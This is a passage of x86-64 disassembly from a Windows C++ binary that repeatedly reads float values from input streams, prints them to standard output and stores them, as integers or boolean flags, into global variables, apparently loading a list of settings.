call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x32f4]
lea rdx, [rbp + 0x32f4]
lea rcx, [rbp + 0x7a60]
mov dword [0x1400ae388], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f8d0
lea rdx, [rbp + 0x32f8]
lea rcx, [rbp + 0x7b70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007f99d
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32f8]
lea rdx, [rbp + 0x32f8]
lea rcx, [rbp + 0x7b70]
movss dword [0x1400ae274], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f950
lea rdx, [rbp + 0x32fc]
lea rcx, [rbp + 0x7c80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fa1d
nop word [rax + rax]
movss xmm1, dword [rbp + 0x32fc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x32fc]
lea rdx, [rbp + 0x32fc]
lea rcx, [rbp + 0x7c80]
movss dword [0x1400ae404], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007f9d0
lea rdx, [rbp + 0x3300]
lea rcx, [rbp + 0x7d90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fa9d
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3300]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3300]
lea rdx, [rbp + 0x3300]
lea rcx, [rbp + 0x7d90]
movss dword [0x1400ae278], xmm0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fa50
lea rdx, [rbp + 0x3304]
lea rcx, [rbp + 0x7ea0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fb1b
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3304]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x3304]
lea rdx, [rbp + 0x3304]
lea rcx, [rbp + 0x7ea0]
mov dword [0x1400ae40c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fad0
lea rdx, [rbp + 0x3308]
lea rcx, [rbp + 0x7fb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fb9b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3308]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x3308]
lea rdx, [rbp + 0x3308]
lea rcx, [rbp + 0x7fb0]
mov dword [0x1400b4758], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fb50
lea rdx, [rbp + 0x330c]
lea rcx, [rbp + 0x80c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fc1b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x330c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x330c]
lea rdx, [rbp + 0x330c]
lea rcx, [rbp + 0x80c0]
mov dword [0x1400b4648], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fbd0
lea rdx, [rbp + 0x3310]
lea rcx, [rbp + 0x81d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fc9b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3310]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x3310]
lea rdx, [rbp + 0x3310]
lea rcx, [rbp + 0x81d0]
mov dword [0x1400b420c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fc50
lea rdx, [rbp + 0x3260]
lea rcx, [rbp + 0x82e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fd1b
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3260]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
cvttss2si eax, dword [rbp + 0x3260]
lea rdx, [rbp + 0x3260]
lea rcx, [rbp + 0x82e0]
mov dword [0x1400b475c], eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fcd0
lea rdx, [rbp + 0x3264]
lea rcx, [rbp + 0x83f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fda9
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3264]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3264]
ucomiss xmm0, xmm9
jp 0x14007fd79
jne 0x14007fd79
xor al, al
jmp 0x14007fd7b
mov al, 1
lea rdx, [rbp + 0x3264]
mov byte [0x1400b3989], al
lea rcx, [rbp + 0x83f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fd50
lea rdx, [rbp + 0x3268]
lea rcx, [rbp + 0x8500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007fe2a
movss xmm1, dword [rbp + 0x3268]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3268]
ucomiss xmm0, xmm9
jp 0x14007fdfa
jne 0x14007fdfa
xor al, al
jmp 0x14007fdfc
mov al, 1
lea rdx, [rbp + 0x3268]
mov byte [0x1400b3eda], al
lea rcx, [rbp + 0x8500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fdd1
lea rdx, [rbp + 0x326c]
lea rcx, [rbp + 0x8610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007feb9
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x326c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x326c]
ucomiss xmm0, xmm9
jp 0x14007fe89
jne 0x14007fe89
xor al, al
jmp 0x14007fe8b
mov al, 1
lea rdx, [rbp + 0x326c]
mov byte [0x1400b3ed8], al
lea rcx, [rbp + 0x8610]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fe60
lea rdx, [rbp + 0x3270]
lea rcx, [rbp + 0x8720]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007ff3a
movss xmm1, dword [rbp + 0x3270]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3270]
ucomiss xmm0, xmm9
jp 0x14007ff0a
jne 0x14007ff0a
xor al, al
jmp 0x14007ff0c
mov al, 1
lea rdx, [rbp + 0x3270]
mov byte [0x1400b4a8c], al
lea rcx, [rbp + 0x8720]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fee1
lea rdx, [rbp + 0x3274]
lea rcx, [rbp + 0x8830]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14007ffc9
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3274]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3274]
ucomiss xmm0, xmm9
jp 0x14007ff99
jne 0x14007ff99
xor al, al
jmp 0x14007ff9b
mov al, 1
lea rdx, [rbp + 0x3274]
mov byte [0x1400b398a], al
lea rcx, [rbp + 0x8830]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007ff70
lea rdx, [rbp + 0x3278]
lea rcx, [rbp + 0x8940]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008004a
movss xmm1, dword [rbp + 0x3278]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3278]
ucomiss xmm0, xmm9
jp 0x14008001a
jne 0x14008001a
xor al, al
jmp 0x14008001c
mov al, 1
lea rdx, [rbp + 0x3278]
mov byte [0x1400b4a8d], al
lea rcx, [rbp + 0x8940]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14007fff1
lea rdx, [rbp + 0x327c]
lea rcx, [rbp + 0x8a50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400800d9
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x327c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x327c]
ucomiss xmm0, xmm9
jp 0x1400800a9
jne 0x1400800a9
xor al, al
jmp 0x1400800ab
mov al, 1
lea rdx, [rbp + 0x327c]
mov byte [0x1400b4b99], al
lea rcx, [rbp + 0x8a50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080080
lea rdx, [rbp + 0x3280]
lea rcx, [rbp + 0x8b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008015a
movss xmm1, dword [rbp + 0x3280]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3280]
ucomiss xmm0, xmm9
jp 0x14008012a
jne 0x14008012a
xor al, al
jmp 0x14008012c
mov al, 1
lea rdx, [rbp + 0x3280]
mov byte [0x1400b4b98], al
lea rcx, [rbp + 0x8b60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080101
lea rdx, [rbp + 0x3284]
lea rcx, [rbp + 0x8c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400801e9
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x3284]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3284]
ucomiss xmm0, xmm9
jp 0x1400801b9
jne 0x1400801b9
xor al, al
jmp 0x1400801bb
mov al, 1
lea rdx, [rbp + 0x3284]
mov byte [0x1400b3988], al
lea rcx, [rbp + 0x8c70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080190
lea rdx, [rbp + 0x3288]
lea rcx, [rbp + 0x8d80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008026a
movss xmm1, dword [rbp + 0x3288]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3288]
ucomiss xmm0, xmm9
jp 0x14008023a
jne 0x14008023a
xor al, al
jmp 0x14008023c
mov al, 1
lea rdx, [rbp + 0x3288]
mov byte [0x1400b453c], al
lea rcx, [rbp + 0x8d80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x140080211
lea rdx, [rbp + 0x328c]
lea rcx, [rbp + 0x8e90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400802f9
nop dword [rax]
nop word [rax + rax]
movss xmm1, dword [rbp + 0x328c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x328c]
ucomiss xmm0, xmm9
jp 0x1400802c9
jne 0x1400802c9
xor al, al
jmp 0x1400802cb
mov al, 1
lea rdx, [rbp + 0x328c]
mov byte [0x1400b40fe], al
lea rcx, [rbp + 0x8e90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400802a0
lea rdx, [rbp + 0x3290]
lea rcx, [rbp + 0x90b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___float____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14008037a
movss xmm1, dword [rbp + 0x3290]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
movss xmm0, dword [rbp + 0x3290]
ucomiss xmm0, xmm9
jp 0x14008034a
jne 0x14008034a
xor al, al
jmp 0x14008034c
mov al, 1
lea rdx, [rbp + 0x3290]
